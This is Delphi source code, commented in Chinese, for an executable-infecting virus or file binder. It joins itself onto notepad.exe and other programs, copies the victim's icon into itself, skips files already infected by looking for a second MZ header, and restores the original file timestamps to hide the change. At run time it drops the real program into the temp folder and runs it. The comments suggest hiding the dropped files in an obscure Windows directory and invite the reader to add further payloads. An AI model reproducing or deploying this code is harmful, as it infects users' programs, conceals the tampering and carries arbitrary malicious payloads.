procedure copy2(s: string); var s1,s2,IcoStream:TMemoryStream; File2:TFilestream; ch:array[0..1] of char; ss:string; filetime,fhandle:integer; l:integer; File2Icon:Ticon; begin {若文件s不存在} if FileExists(s)=False then exit; try {若文件不含图标,就不捆绑} File2Icon:=Ticon.Create; l:=extracticon(handle,pchar(s),0); if l=0 then begin File2Icon.Free; exit; end else begin {提取被捆绑程序图标} File2Icon.Handle:=extracticon(handle,pchar(s),0); IcoStream:=TMemoryStream.Create; File2Icon.SaveToStream(IcoStream); File2Icon.Free; end; {判断文件s中有没有第2个程序头'MZ'。若有,表示已经合并过} File2:=TFilestream.Create(s,fmopenread); if File2.Size>MySize then begin File2.Position:=MySize; File2.Read(ch,2); ss:=copy(ch,1,2); if ss='MZ' then begin File2.Free; exit; end; end; File2.Free; {将本文件与文件s合并 本文件+s=s} s2:=TMemoryStream.Create; s2.loadfromfile(ExeName); s1:=TMemoryStream.Create; { 加入本程序的前部40751字节 第40752字节开始共640字节为图标数据 !!以下数字 40751,81要根据实际情况修改!! } s1.copyfrom(s2,40751); {将图标换为被捆绑程序图标,图标大小为766} IcoStream.Position:=126; s1.CopyFrom(IcoStream,640); IcoStream.Free; s2.Position:=40751+640; {加入本程序的后部81字节} s1.CopyFrom(s2,81); s2.clear; s2.loadfromfile(s); s1.seek(s1.size,soFromBeginning); {加入被捆绑程序全部} s1.copyfrom(s2,s2.size); s2.free; {得到文件s的日期} fhandle:=FileOpen(s, fmOpenread); filetime:=filegetdate(fhandle); fileclose(fhandle); s1.SaveToFile(s); {恢复文件s的日期} fhandle:=FileOpen(s, fmOpenwrite); filesetdate(fhandle,filetime); fileclose(fhandle); s1.free; except end; end;
procedure CreateFileAndRun; var s1,s2:TMemoryStream; TempDir:pchar; cmdstr:string; a:integer; Begin s1:=TMemoryStream.Create; s1.loadfromfile(ExeName); if s1.Size=MySize then begin s1.Free; exit; end; s1.seek(MySize,soFromBeginning); s2:=TMemoryStream.Create; s2.copyfrom(s1,s1.Size-MySize); GetMem(TempDir,255); GetTempPath(255,TempDir); try { 把文件释放到临时目录。 如果你不想让人看到在这个目录下释放了一堆文件,可改为其它更隐蔽的目录, 如 c:\windows(or winnt)\downl...(☆这是个什么目录?你去研究研究吧!☆) } s2.SaveToFile(TempDir+'\'+ExtractFileName(ExeName)); except end; cmdstr:='; a:=1; while ParamStr(a)<>' do begin cmdstr:=cmdstr+ParamStr(a)+' '; inc(a); end; {运行真正的程序文件} winexec(pchar(TempDir+'\'+ExtractFileName(ExeName)+' '+cmdstr),SW_SHOW); freemem(TempDir); s2.free; s1.free; end;
begin GetMem(WinDir,255); GetWindowsDirectory(WinDir,255); ExeName:=ParamStr(0); handle:=CreateToolhelp32Snapshot(TH32CS_SNAPALL,0); found:=Process32First(handle,lppe); ProcessStr:='; while found do begin ProcessStr:=ProcessStr+lppe.szExeFile;{列出所有进程} found:=Process32Next(handle,lppe); end; {如果notepad没运行,就与它捆在一起} if pos(WinDir+'\notepad.exe',ProcessStr)=0 then begin copy2(WinDir+'\notepad.exe'); end; {其它需要捆绑的文件 if pos(...,ProcessStr)=0 then begin copy2(...); end; ... } freemem(WinDir); { 你想用这个程序干点其它的什么... } CreateFileAndRun;{释放文件并带参数运行} end.